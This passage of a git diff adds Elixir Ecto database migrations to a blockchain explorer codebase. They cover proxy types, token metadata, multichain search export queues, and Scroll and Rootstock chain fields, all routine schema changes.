table(:scam_address_badge_mappings, primary_key: false) do + add(:address_hash, references(:addresses, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20240918104231_new_proxy_type_eip7702.exs b/apps/explorer/priv/repo/migrations/20240918104231_new_proxy_type_eip7702.exs new file mode 100644 index 000000000000..85c1ef80c85b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240918104231_new_proxy_type_eip7702.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.NewProxyTypeEip7702 do + use Ecto.Migration + + def change do + execute("ALTER TYPE proxy_type ADD VALUE 'eip7702' BEFORE 'unknown'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20240923135258_reset_sanitize_missing_token_balances_migration_status.exs b/apps/explorer/priv/repo/migrations/20240923135258_reset_sanitize_missing_token_balances_migration_status.exs new file mode 100644 index 000000000000..d96bab5f2ace --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240923135258_reset_sanitize_missing_token_balances_migration_status.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.ResetSanitizeMissingTokenBalancesMigrationStatus do + use Ecto.Migration + + def change do + execute("DELETE FROM migrations_status WHERE migration_name = 'sanitize_missing_token_balances'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20240923173516_address_tags_add_primary_key.exs b/apps/explorer/priv/repo/migrations/20240923173516_address_tags_add_primary_key.exs new file mode 100644 index 000000000000..97a93144c57a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20240923173516_address_tags_add_primary_key.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddressTagsAddPrimaryKey do + use Ecto.Migration + + def change do + alter table(:address_tags) do + modify(:label, :string, null: false, primary_key: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20241002125432_add_is_banned_to_token_instances.exs b/apps/explorer/priv/repo/migrations/20241002125432_add_is_banned_to_token_instances.exs new file mode 100644 index 000000000000..2e67556f2089 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241002125432_add_is_banned_to_token_instances.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddIsBannedToTokenInstances do + use Ecto.Migration + + def change do + alter table(:token_instances) do + add(:is_banned, :boolean, default: false, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20241015140214_rename_tx_related_field.exs b/apps/explorer/priv/repo/migrations/20241015140214_rename_tx_related_field.exs new file mode 100644 index 000000000000..948ae164c51c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241015140214_rename_tx_related_field.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.RenameTxRelatedField do + use Ecto.Migration + + def change do + rename(table(:transactions), :has_error_in_internal_txs, to: :has_error_in_internal_transactions) + end +end diff --git a/apps/explorer/priv/repo/migrations/20241022133006_add_aux_types_for_duplicated_log_index_logs_migration.exs b/apps/explorer/priv/repo/migrations/20241022133006_add_aux_types_for_duplicated_log_index_logs_migration.exs new file mode 100644 index 000000000000..f5684a9f45fc --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241022133006_add_aux_types_for_duplicated_log_index_logs_migration.exs @@ -0,0 +1,30 @@ +defmodule Explorer.Repo.Migrations.AddAuxTypesForDuplicatedLogIndexLogsMigration do + use Ecto.Migration + + def up do + execute(""" + CREATE TYPE log_id AS ( + transaction_hash bytea, + block_hash bytea, + log_index integer + ); + """) + + execute(""" + CREATE TYPE nft_id AS ( + block_number bigint, + log_index integer + ); + """) + end + + def down do + execute(""" + DROP TYPE log_id; + """) + + execute(""" + DROP TYPE nft_id; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20241031110127_create_pending_transaction_operations.exs b/apps/explorer/priv/repo/migrations/20241031110127_create_pending_transaction_operations.exs new file mode 100644 index 000000000000..369dd2c280d9 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241031110127_create_pending_transaction_operations.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.CreatePendingTransactionOperations do + use Ecto.Migration + + def change do + create table(:pending_transaction_operations, primary_key: false) do + add(:transaction_hash, references(:transactions, column: :hash, on_delete: :delete_all, type: :bytea), + null: false, + primary_key: true + ) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20241111200520_add_language_field.exs b/apps/explorer/priv/repo/migrations/20241111200520_add_language_field.exs new file mode 100644 index 000000000000..28a811359dc8 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241111200520_add_language_field.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddLanguageField do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:language, :int2, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20241216112656_create_types_for_composite_primary_keys.exs b/apps/explorer/priv/repo/migrations/20241216112656_create_types_for_composite_primary_keys.exs new file mode 100644 index 000000000000..bdf474d43380 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241216112656_create_types_for_composite_primary_keys.exs @@ -0,0 +1,42 @@ +defmodule Explorer.Repo.Migrations.CreateTypesForCompositePrimaryKeys do + use Ecto.Migration + + def up do + execute(""" + CREATE TYPE token_transfer_id AS ( + transaction_hash bytea, + block_hash bytea, + log_index integer + ); + """) + + execute(""" + CREATE TYPE nft_current_token_balance_id AS ( + address_hash bytea, + token_contract_address_hash bytea, + token_id numeric(78,0) + ); + """) + + execute(""" + CREATE TYPE ft_current_token_balance_id AS ( + address_hash bytea, + token_contract_address_hash bytea + ); + """) + end + + def down do + execute(""" + DROP TYPE token_transfer_id; + """) + + execute(""" + DROP TYPE nft_current_token_balance_id; + """) + + execute(""" + DROP TYPE ft_current_token_balance_id; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20241219102223_remove_large_decimals.exs b/apps/explorer/priv/repo/migrations/20241219102223_remove_large_decimals.exs new file mode 100644 index 000000000000..fa65540e395a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20241219102223_remove_large_decimals.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.RemoveLargeDecimals do + use Ecto.Migration + + def change do + execute(""" + UPDATE tokens SET decimals = NULL WHERE decimals > 78; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250119145532_add_metadata_tags_aux_type.exs b/apps/explorer/priv/repo/migrations/20250119145532_add_metadata_tags_aux_type.exs new file mode 100644 index 000000000000..2a20459a835d --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250119145532_add_metadata_tags_aux_type.exs @@ -0,0 +1,20 @@ +defmodule Explorer.Repo.Migrations.AddMetadataTagsAuxType do + use Ecto.Migration + + def up do + execute(""" + CREATE TYPE metadata_tag_record AS ( + id integer, + address_hash bytea, + metadata jsonb, + addresses_index integer + ); + """) + end + + def down do + execute(""" + DROP TYPE metadata_tag_record; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250121142849_add_tokens_metadata_updated_at_column.exs b/apps/explorer/priv/repo/migrations/20250121142849_add_tokens_metadata_updated_at_column.exs new file mode 100644 index 000000000000..8eb71443cf4a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250121142849_add_tokens_metadata_updated_at_column.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.AddTokensMetadataUpdatedAtColumn do + use Ecto.Migration + + def up do + alter table("tokens") do + add(:metadata_updated_at, :utc_datetime_usec, null: true) + end + end + + def down do + alter table("tokens") do + remove(:metadata_updated_at) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250122185347_new_proxy_type_resolved_delegate_proxy.exs b/apps/explorer/priv/repo/migrations/20250122185347_new_proxy_type_resolved_delegate_proxy.exs new file mode 100644 index 000000000000..8a7ba87bcff9 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250122185347_new_proxy_type_resolved_delegate_proxy.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.NewProxyTypeResolvedDelegateProxy do + use Ecto.Migration + + def change do + execute("ALTER TYPE proxy_type ADD VALUE 'resolved_delegate_proxy' BEFORE 'unknown'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20250128081221_add_token_instance_type.exs b/apps/explorer/priv/repo/migrations/20250128081221_add_token_instance_type.exs new file mode 100644 index 000000000000..218c752334ea --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250128081221_add_token_instance_type.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Migrations.AddTokenInstanceType do + use Ecto.Migration + + def up do + execute(""" + CREATE TYPE token_instance_id AS ( + token_id numeric(78), + token_contract_address_hash bytea + ); + """) + end + + def down do + execute(""" + DROP TYPE token_instance_id; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250212182049_update_last_fetched_counters_keys.exs b/apps/explorer/priv/repo/migrations/20250212182049_update_last_fetched_counters_keys.exs new file mode 100644 index 000000000000..4d0528749ab2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250212182049_update_last_fetched_counters_keys.exs @@ -0,0 +1,29 @@ +defmodule Explorer.Repo.Migrations.UpdateLastFetchedCountersKeys do + use Ecto.Migration + + def change do + execute( + "UPDATE last_fetched_counters SET counter_type = 'verified_contracts_count', updated_at = NOW() WHERE counter_type = 'verified_contracts_counter'" + ) + + execute( + "UPDATE last_fetched_counters SET counter_type = 'new_verified_contracts_count', updated_at = NOW() WHERE counter_type = 'new_verified_contracts_counter'" + ) + + execute( + "UPDATE last_fetched_counters SET counter_type = 'contracts_count', updated_at = NOW() WHERE counter_type = 'contracts_counter'" + ) + + execute( + "UPDATE last_fetched_counters SET counter_type = 'new_contracts_count', updated_at = NOW() WHERE counter_type = 'new_contracts_counter'" + ) + + execute( + "UPDATE last_fetched_counters SET counter_type = 'blocks_count', updated_at = NOW() WHERE counter_type = 'block_count'" + ) + + execute( + "UPDATE last_fetched_counters SET counter_type = 'addresses_coin_balance_sum_minus_burnt', updated_at = NOW() WHERE counter_type = 'sum_coin_total_supply_minus_burnt'" + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250214102221_remove_composite_id_types.exs b/apps/explorer/priv/repo/migrations/20250214102221_remove_composite_id_types.exs new file mode 100644 index 000000000000..d44f758fa24b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250214102221_remove_composite_id_types.exs @@ -0,0 +1,76 @@ +defmodule Explorer.Repo.Migrations.RemoveCompositeIdTypes do + use Ecto.Migration + + def up do + execute(""" + DROP TYPE log_id; + """) + + execute(""" + DROP TYPE nft_id; + """) + + execute(""" + DROP TYPE token_transfer_id; + """) + + execute(""" + DROP TYPE nft_current_token_balance_id; + """) + + execute(""" + DROP TYPE ft_current_token_balance_id; + """) + + execute(""" + DROP TYPE token_instance_id; + """) + end + + def down do + execute(""" + CREATE TYPE log_id AS ( + transaction_hash bytea, + block_hash bytea, + log_index integer + ); + """) + + execute(""" + CREATE TYPE nft_id AS ( + block_number bigint, + log_index integer + ); + """) + + execute(""" + CREATE TYPE token_transfer_id AS ( + transaction_hash bytea, + block_hash bytea, + log_index integer + ); + """) + + execute(""" + CREATE TYPE nft_current_token_balance_id AS ( + address_hash bytea, + token_contract_address_hash bytea, + token_id numeric(78,0) + ); + """) + + execute(""" + CREATE TYPE ft_current_token_balance_id AS ( + address_hash bytea, + token_contract_address_hash bytea + ); + """) + + execute(""" + CREATE TYPE token_instance_id AS ( + token_id numeric(78), + token_contract_address_hash bytea + ); + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250217221717_change_tokens_icon_url_type.exs b/apps/explorer/priv/repo/migrations/20250217221717_change_tokens_icon_url_type.exs new file mode 100644 index 000000000000..66ee2b853cd2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250217221717_change_tokens_icon_url_type.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.ChangeTokensIconUrlType do + use Ecto.Migration + + def change do + alter table(:tokens) do + modify(:icon_url, :text, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250303080958_remove_decompiled_smart_contracts_table.exs b/apps/explorer/priv/repo/migrations/20250303080958_remove_decompiled_smart_contracts_table.exs new file mode 100644 index 000000000000..517a97d9de35 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250303080958_remove_decompiled_smart_contracts_table.exs @@ -0,0 +1,37 @@ +defmodule Explorer.Repo.Migrations.RemoveDecompiledSmartContractsTable do + use Ecto.Migration + + def change do + execute(""" + CREATE OR REPLACE FUNCTION drop_empty_table(t_name character varying) + RETURNS void AS + $BODY$ + DECLARE + x BOOLEAN; + BEGIN + IF EXISTS + ( SELECT 1 + FROM information_schema.tables + WHERE table_name = format('%I', t_name) + ) + THEN + EXECUTE format('SELECT EXISTS (SELECT 1 FROM %I) t', t_name) INTO x; + IF x = False THEN + EXECUTE format('DROP TABLE IF EXISTS %I', t_name); + END IF; + RETURN; + END IF; + END; + $BODY$ + LANGUAGE plpgsql VOLATILE + """) + + execute(""" + SELECT drop_empty_table('decompiled_smart_contracts') + """) + + execute(""" + DROP FUNCTION drop_empty_table(t_name character varying) + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250311090608_add_erc_7760_to_proxy_type.exs b/apps/explorer/priv/repo/migrations/20250311090608_add_erc_7760_to_proxy_type.exs new file mode 100644 index 000000000000..a99b9a8fcf51 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250311090608_add_erc_7760_to_proxy_type.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.AddErc7760ToProxyType do + use Ecto.Migration + + def change do + execute("ALTER TYPE proxy_type ADD VALUE 'erc7760' BEFORE 'unknown'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20250318091828_add_metadata_url.exs b/apps/explorer/priv/repo/migrations/20250318091828_add_metadata_url.exs new file mode 100644 index 000000000000..b53db5ad9c97 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250318091828_add_metadata_url.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddMetadataURL do + use Ecto.Migration + + def change do + alter table(:token_instances) do + add(:metadata_url, :string, null: true, size: 2048) + add(:skip_metadata_url, :boolean, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250319163945_missing_block_ranges_add_priority.exs b/apps/explorer/priv/repo/migrations/20250319163945_missing_block_ranges_add_priority.exs new file mode 100644 index 000000000000..aaede59033e3 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250319163945_missing_block_ranges_add_priority.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.MissingBlockRangesAddPriority do + use Ecto.Migration + + def change do + alter table(:missing_block_ranges) do + add(:priority, :smallint) + end + + drop(index(:missing_block_ranges, ["from_number DESC"])) + create(index(:missing_block_ranges, ["priority DESC NULLS LAST", "from_number DESC"])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250328104924_signed_authorizations_nonce_change_type_to_numeric.exs b/apps/explorer/priv/repo/migrations/20250328104924_signed_authorizations_nonce_change_type_to_numeric.exs new file mode 100644 index 000000000000..484cfeb5ea2f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250328104924_signed_authorizations_nonce_change_type_to_numeric.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.SignedAuthorizationsNonceChangeTypeToNumeric do + use Ecto.Migration + + def up do + alter table(:signed_authorizations) do + modify(:nonce, :numeric, precision: 20, scale: 0) + end + end + + def down do + alter table(:signed_authorizations) do + modify(:nonce, :integer) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250505123201_create_multichain_search_db_export_retry_queue_table.exs b/apps/explorer/priv/repo/migrations/20250505123201_create_multichain_search_db_export_retry_queue_table.exs new file mode 100644 index 000000000000..008401ce7ba8 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250505123201_create_multichain_search_db_export_retry_queue_table.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Migrations.CreateMultichainSearchDbExportRetryQueueTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE multichain_search_hash_type AS ENUM ('block', 'transaction', 'address')", + "DROP TYPE multichain_search_hash_type" + ) + + create table(:multichain_search_db_export_retry_queue, primary_key: false) do + add(:hash, :bytea, null: false, primary_key: true) + add(:hash_type, :multichain_search_hash_type, null: false, primary_key: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250512083932_add_authorization_status.exs b/apps/explorer/priv/repo/migrations/20250512083932_add_authorization_status.exs new file mode 100644 index 000000000000..6c07291dbe55 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250512083932_add_authorization_status.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddAuthorizationStatus do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE signed_authorization_status AS ENUM ('ok', 'invalid_chain_id', 'invalid_signature', 'invalid_nonce')", + "DROP TYPE signed_authorization_status" + ) + + alter table(:signed_authorizations) do + add(:status, :signed_authorization_status, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250526111446_rename_multichain_search_db_export_retry_queue_table.exs b/apps/explorer/priv/repo/migrations/20250526111446_rename_multichain_search_db_export_retry_queue_table.exs new file mode 100644 index 000000000000..21aeb318b716 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250526111446_rename_multichain_search_db_export_retry_queue_table.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.RenameMultichainSearchDbExportRetryQueueTable do + use Ecto.Migration + + def change do + rename(table(:multichain_search_db_export_retry_queue), to: table(:multichain_search_db_main_export_queue)) + + execute( + "ALTER TABLE multichain_search_db_main_export_queue RENAME CONSTRAINT multichain_search_db_export_retry_queue_pkey TO multichain_search_db_main_export_queue_pkey" + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250526114340_add_block_range_and_retries_number_to_multichain_search_db_export_queue_table.exs b/apps/explorer/priv/repo/migrations/20250526114340_add_block_range_and_retries_number_to_multichain_search_db_export_queue_table.exs new file mode 100644 index 000000000000..581dda6fe6dc --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250526114340_add_block_range_and_retries_number_to_multichain_search_db_export_queue_table.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddBlockRangeAndRetriesNumberToMultichainSearchDbMainExportQueueTable do + use Ecto.Migration + + def change do + alter table(:multichain_search_db_main_export_queue) do + add(:block_range, :int8range, null: true) + add(:retries_number, :smallint, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250529150808_add_block_range_index_to_multichain_search_db_export_queue_table.exs b/apps/explorer/priv/repo/migrations/20250529150808_add_block_range_index_to_multichain_search_db_export_queue_table.exs new file mode 100644 index 000000000000..f631c3395a97 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250529150808_add_block_range_index_to_multichain_search_db_export_queue_table.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddBlockRangeIndexToMultichainSearchDbMainExportQueueTable do + use Ecto.Migration + + def change do + execute( + """ + CREATE INDEX multichain_search_db_main_export_queue_upper_block_range_index ON multichain_search_db_main_export_queue (upper(block_range) DESC); + """, + """ + DROP INDEX multichain_search_db_main_export_queue_upper_block_range_index; + """ + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250609130618_add_multichain_search_db_balances_export_queue_table.exs b/apps/explorer/priv/repo/migrations/20250609130618_add_multichain_search_db_balances_export_queue_table.exs new file mode 100644 index 000000000000..44ef6f6ce029 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250609130618_add_multichain_search_db_balances_export_queue_table.exs @@ -0,0 +1,24 @@ +defmodule Explorer.Repo.Migrations.AddMultichainSearchDbBalancesExportQueueTable do + use Ecto.Migration + + def change do + create table(:multichain_search_db_export_balances_queue, primary_key: false) do + add(:id, :serial, null: false, primary_key: true) + add(:address_hash, :bytea, null: false) + add(:token_contract_address_hash_or_native, :bytea, null: false) + add(:value, :numeric, precision: 100, scale: 0, null: true) + add(:token_id, :numeric, precision: 78, scale: 0, null: true) + add(:retries_number, :smallint, null: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create_if_not_exists( + unique_index( + :multichain_search_db_export_balances_queue, + [:address_hash, :token_contract_address_hash_or_native, "COALESCE(token_id, -1)"], + name: :unique_multichain_search_db_current_token_balances + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250613144606_drop_address_coin_balances_value_fetched_at_index.exs b/apps/explorer/priv/repo/migrations/20250613144606_drop_address_coin_balances_value_fetched_at_index.exs new file mode 100644 index 000000000000..615cf3ffcb9c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250613144606_drop_address_coin_balances_value_fetched_at_index.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.DropAddressCoinBalancesValueFetchedAtIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + drop_if_exists(index(:address_coin_balances, [:value_fetched_at], concurrently: true)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250704124014_add_timestamp_to_event_notifications.exs b/apps/explorer/priv/repo/migrations/20250704124014_add_timestamp_to_event_notifications.exs new file mode 100644 index 000000000000..124fa572b7e2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250704124014_add_timestamp_to_event_notifications.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.AddTimestampToEventNotifications do + use Ecto.Migration + + def change do + execute("TRUNCATE event_notifications;") + + alter table(:event_notifications) do + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250714093329_add_multichain_search_db_token_info_export_queue_table.exs b/apps/explorer/priv/repo/migrations/20250714093329_add_multichain_search_db_token_info_export_queue_table.exs new file mode 100644 index 000000000000..3fff03c98db2 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250714093329_add_multichain_search_db_token_info_export_queue_table.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Migrations.AddMultichainSearchDbTokenInfoExportQueueTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE multichain_search_token_data_type AS ENUM ('metadata', 'total_supply', 'counters', 'market_data')", + "DROP TYPE multichain_search_token_data_type" + ) + + create table(:multichain_search_db_export_token_info_queue, primary_key: false) do + add(:address_hash, :bytea, null: false, primary_key: true) + add(:data_type, :multichain_search_token_data_type, null: false, primary_key: true) + add(:data, :jsonb, null: false) + add(:retries_number, :smallint, null: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + alter table(:tokens) do + add(:transfer_count, :integer, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250718092418_refactor_proxy_implementations.exs b/apps/explorer/priv/repo/migrations/20250718092418_refactor_proxy_implementations.exs new file mode 100644 index 000000000000..b3fcd055cd7d --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250718092418_refactor_proxy_implementations.exs @@ -0,0 +1,29 @@ +defmodule Explorer.Repo.Migrations.RefactorProxyImplementations do + use Ecto.Migration + + def change do + execute(""" + UPDATE proxy_implementations + SET proxy_type = NULL, + address_hashes = ARRAY []::bytea[], + names = ARRAY []::bytea[] + WHERE proxy_type IN ('eip930', 'unknown') + OR address_hashes = ARRAY ['\\x0000000000000000000000000000000000000000'::bytea] + """) + + alter table(:proxy_implementations) do + add(:conflicting_proxy_types, {:array, :proxy_type}) + add(:conflicting_address_hashes, {:array, {:array, :bytea}}) + end + + execute( + "ALTER TYPE proxy_type RENAME VALUE 'eip930' TO 'eip1967_oz'", + "ALTER TYPE proxy_type RENAME VALUE 'eip1967_oz' TO 'eip930'" + ) + + execute( + "ALTER TYPE proxy_type RENAME VALUE 'unknown' TO 'eip1967_beacon'", + "ALTER TYPE proxy_type RENAME VALUE 'eip1967_beacon' TO 'unknown'" + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20250814065910_add_multichain_search_db_counters_export_queue_table.exs b/apps/explorer/priv/repo/migrations/20250814065910_add_multichain_search_db_counters_export_queue_table.exs new file mode 100644 index 000000000000..bbe3243f05eb --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250814065910_add_multichain_search_db_counters_export_queue_table.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Migrations.AddMultichainSearchDbCountersExportQueueTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE multichain_search_counter_type AS ENUM ('global')", + "DROP TYPE multichain_search_counter_type" + ) + + create table(:multichain_search_db_export_counters_queue, primary_key: false) do + add(:timestamp, :utc_datetime_usec, primary_key: true) + add(:counter_type, :multichain_search_counter_type, null: false, primary_key: true) + add(:data, :jsonb, null: false) + add(:retries_number, :smallint, null: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20250820121833_change_chain_id_type_in_signed_authorization.exs b/apps/explorer/priv/repo/migrations/20250820121833_change_chain_id_type_in_signed_authorization.exs new file mode 100644 index 000000000000..3be90d80a771 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20250820121833_change_chain_id_type_in_signed_authorization.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.ChangeChainIdTypeInSignedAuthorization do + use Ecto.Migration + + def up do + alter table(:signed_authorizations) do + modify(:chain_id, :numeric, precision: 78, scale: 0) + end + end + + def down do + alter table(:signed_authorizations) do + modify(:chain_id, :bigint) + end + end +end diff --git a/apps/explorer/priv/rsk/migrations/20230724094744_add_rootstock_fields_to_blocks.exs b/apps/explorer/priv/rsk/migrations/20230724094744_add_rootstock_fields_to_blocks.exs new file mode 100644 index 000000000000..40bbbc79793b --- /dev/null +++ b/apps/explorer/priv/rsk/migrations/20230724094744_add_rootstock_fields_to_blocks.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.RSK.Migrations.AddRootstockFieldsToBlocks do + use Ecto.Migration + + def change do + alter table(:blocks) do + add(:minimum_gas_price, :decimal) + add(:bitcoin_merged_mining_header, :bytea) + add(:bitcoin_merged_mining_coinbase_transaction, :bytea) + add(:bitcoin_merged_mining_merkle_proof, :bytea) + add(:hash_for_merged_mining, :bytea) + end + end +end diff --git a/apps/explorer/priv/rsk/migrations/20231004101922_populate_pending_block_ops_with_historic_blocks.exs b/apps/explorer/priv/rsk/migrations/20231004101922_populate_pending_block_ops_with_historic_blocks.exs new file mode 100644 index 000000000000..cef3c3968be8 --- /dev/null +++ b/apps/explorer/priv/rsk/migrations/20231004101922_populate_pending_block_ops_with_historic_blocks.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.RSK.Migrations.PopulatePendingBlockOpsWithHistoricBlocks do + use Ecto.Migration + + def change do + execute(""" + INSERT INTO pending_block_operations + SELECT b.hash, NOW(), NOW(), b.number + FROM blocks b + LEFT JOIN pending_block_operations pbo + ON b.hash = pbo.block_hash + WHERE consensus IS TRUE + and b.hash IS NOT NULL + and pbo.block_hash IS NULL; + """) + end +end diff --git a/apps/explorer/priv/scroll/migrations/20240710101931_add_fee_fields.exs b/apps/explorer/priv/scroll/migrations/20240710101931_add_fee_fields.exs new file mode 100644 index 000000000000..e3cbaa630f8a --- /dev/null +++ b/apps/explorer/priv/scroll/migrations/20240710101931_add_fee_fields.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Scroll.Migrations.AddFeeFields do + use Ecto.Migration + + def change do + alter table(:transactions) do + add(:l1_fee, :numeric, precision: 100, null: true) + end + + execute( + "CREATE TYPE scroll_l1_fee_param_names AS ENUM ('overhead', 'scalar', 'commit_scalar', 'blob_scalar', 'l1_base_fee', 'l1_blob_base_fee')", + "DROP TYPE scroll_l1_fee_param_names" + ) + + create table(:scroll_l1_fee_params, primary_key: false) do + add(:block_number, :bigint, null: false, primary_key: true) + add(:tx_index, :integer, null: false, primary_key: true) + add(:name, :scroll_l1_fee_param_names, null: false, primary_key: true) + add(:value, :bigint, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/scroll/migrations/20240807114346_add_queue_index_field.exs b/apps/explorer/priv/scroll/migrations/20240807114346_add_queue_index_field.exs new file mode 100644 index 000000000000..f49c6d9d85b3 --- /dev/null +++ b/apps/explorer/priv/scroll/migrations/20240807114346_add_queue_index_field.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Scroll.Migrations.AddQueueIndexField do + use Ecto.Migration + + def change do + alter table(:transactions) do + add(:queue_index, :bigint, null: true) + end + end +end diff --git a/apps/explorer/priv/scroll/migrations/20240815102318_add_bridge_table.exs b/apps/explorer/priv/scroll/migrations/20240815102318_add_bridge_table.exs new file mode 100644 index 000000000000..44bcd091b58d --- /dev/null +++ b/apps/explorer/priv/scroll/migrations/20240815102318_add_bridge_table.exs @@ -0,0 +1,24 @@ +defmodule Explorer.Repo.Scroll.Migrations.AddBridgeTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE scroll_bridge_op_type AS ENUM ('deposit', 'withdrawal')", + "DROP TYPE scroll_bridge_op_type" + ) + + create table(:scroll_bridge, primary_key: false) do + add(:type, :scroll_bridge_op_type, null: false, primary_key: true) + add(:index, :integer, null: true) + add(:l1_transaction_hash, :bytea, null: true) + add(:l2_transaction_hash, :bytea, null: true) + add(:amount, :numeric, precision: 100, null: true) + add(:block_number, :bigint, null: true) + add(:block_timestamp, :"timestamp without time zone", null: true) + add(:message_hash, :bytea, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:scroll_bridge, [:type, :index])) + end +end diff --git a/apps/explorer/priv/scroll/migrations/20240913114630_add_batches_tables.exs b/apps/explorer/priv/scroll/migrations/20240913114630_add_batches_tables.exs new file mode 100644 index 